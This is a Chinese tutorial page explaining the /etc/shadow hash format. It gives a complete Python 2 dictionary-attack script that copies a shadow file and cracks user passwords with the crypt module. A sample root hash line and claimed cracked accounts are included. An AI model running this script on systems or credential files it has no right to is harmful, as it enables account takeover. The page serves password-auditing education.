Python脚本激活Linux密码的方法(crypt模块)

 更新时间:2021年05月25日 11:09:24   作者:谢公子  
今天小编给大家分享一个非常不错的方法破解linux口令,主要是利用linux系统中的crypt模块模拟了linux系统中用户密码的加密,操作也很方便,对python破解linux口令相关知识感兴趣的朋友跟随小编一起学习下吧

环境 Kali Linux ,python版本2.7.13 。

我们利用Linux系统中的 crypt 模块模拟了Linux系统中用户密码的加密,在Windows中是不存在这个库的。

在Linux系统中,用户的密码被加密存储在了 /etc/shadow 文件中。

如下是 /etc/shadow中root用户的字段

root:$6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.:17767:0:99999:7:::

第二个字段是密码部分的,我们把它单独拿出来

$6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.

密码部分的格式为:$id$salt$encrypted  

  • id是指用的哈希算法,id为1是MD5,id为5是SHA-256,id为6是SHA-512
  • salt 为盐值
  • encrypted 为hash值,这里的hash值是密码和盐值一起加密之后得到的

在了解了shadow 文件中密码的加密方式之后,我们就可以开始编写python脚本了。

在编写之前,我们需要准备好密码字典文件 key.txt 。只有当密码字典足够大时,才有可能破解出密码。

然后我们将 /etc/shadow 文件复制到python脚本所在目录,修改文件名为 shadow.txt

在编写时,我们创建两个函数:main() 和 testPass() 。main() 函数打开 shadow.txt 文件中的内容,读取其中的用户名字段和密码字段cryptPass。testPass() 函数将密码字段中的 $id$salt 提取出来赋值给 salt 。然后读取 key.txt 中的密码字段,赋值给 word 。再利用Linux系统中python的一个crypt库,将word和salt一起作为参数传进去进行加密,得到 cryptWord 。最后将cryptWord和cryptPass进行对比,如果相等,则这个word就是该用户的密码,否则不是。

# -*- coding: utf-8 -*-
"""
Created on Mon Oct 29 15:01:54 2018
@author: 小谢
"""
import crypt   ##导入Linux口令加密库
def testPass(cryptPass):
    salt=cryptPass[cryptPass.find("$"):cryptPass.rfind("$")]  ##获得盐值,包含$id部分
    dictFile=open('key.txt','r')
    for word in dictFile.readlines():
        word=word.strip("\n")
        cryptWord=crypt.crypt(word,salt)                   ##将密码字典中的值和盐值一起加密
        if (cryptWord==cryptPass):                           ##判断加密后的数据和密码字段是否相等
            print "[+]Found Password:"+word+"\n"       ##如果相等则打印出来
            return 
    print "[-] Password Not Found.\n"
    return 
 
def main():
    passFile=open('shadow.txt')
    for line in passFile.readlines():      ##读取文件中的所有内容
        if ":" in line:
            user=line.split(":")[0]                     ##获得用户名
            cryptPass=line.split(":")[1].strip(' ')   ##获得密码字段
            print "[*] Cracking Password for:"+user
            testPass(cryptPass)
main()

脚本运行截图,破解出了用户tom和用户xie的密码。 

以上就是Python脚本激活Linux口令(crypt模块)的详细内容,更多关于python破解linux口令的资料请关注脚本之家其它相关文章!

相关文章

  • 详解设计模式中的工厂方法模式在Python程序中的运用

    详解设计模式中的工厂方法模式在Python程序中的运用

    这篇文章主要介绍了设计模式中的工厂方法模式在Python程序中的运用,工厂方法模式主张程序在设计时要可以根据不同的条件生成各种类的实例,需要的朋友可以参考下
    2016-03-03
  • 什么是python的必选参数

    什么是python的必选参数

    在本篇文章里小编给大家分享的是一篇关于python必选参数是什么意思的相关知识点,需要的朋友们可以参考下。
    2020-06-06
  • Django自带日志 settings.py文件配置方法

    Django自带日志 settings.py文件配置方法

    今天小编就为大家分享一篇Django自带日志 settings.py文件配置方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-08-08
  • 基于PyQt5制作数据处理小工具

    基于PyQt5制作数据处理小工具

    这篇文章主要和大家介绍了如何利用Python中的PyQt5模块制作一个数据处理小工具,可以实现根据每个Excel数据文件里面的Sheet批量将数据文件合并成为一个汇总后的Excel数据文件,需要的可以参考一下
    2022-03-03
  • Python中urllib2模块的8个使用细节分享

    Python中urllib2模块的8个使用细节分享

    这篇文章主要介绍了Python中urllib2模块的8个使用细节分享,本文讲解了Proxy设置、Timeout设置、加入特定Header、Redirect、Cookie、PUT和DELETE方法等内容,需要的朋友可以参考下
    2015-01-01
  • 对web.py设置favicon.ico的方法详解

    对web.py设置favicon.ico的方法详解

    今天小编就为大家分享一篇对web.py设置favicon.ico的方法详解,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-12-12
  • python发送byte数据组到tcp的server问题

    python发送byte数据组到tcp的server问题

    这篇文章主要介绍了python发送byte数据组到tcp的server问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2023-09-09
  • torch.optim优化算法理解之optim.Adam()解读

    torch.optim优化算法理解之optim.Adam()解读

    这篇文章主要介绍了torch.optim优化算法理解之optim.Adam()解读,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2022-11-11
  • 快速解决docker-py api版本不兼容的问题

    快速解决docker-py api版本不兼容的问题

    今天小编就为大家分享一篇快速解决docker-py api版本不兼容的问题,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-08-08
  • PyTorch之关于hook机制

    PyTorch之关于hook机制

    这篇文章主要介绍了PyTorch之关于hook机制的理解,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2023-08-08

最新评论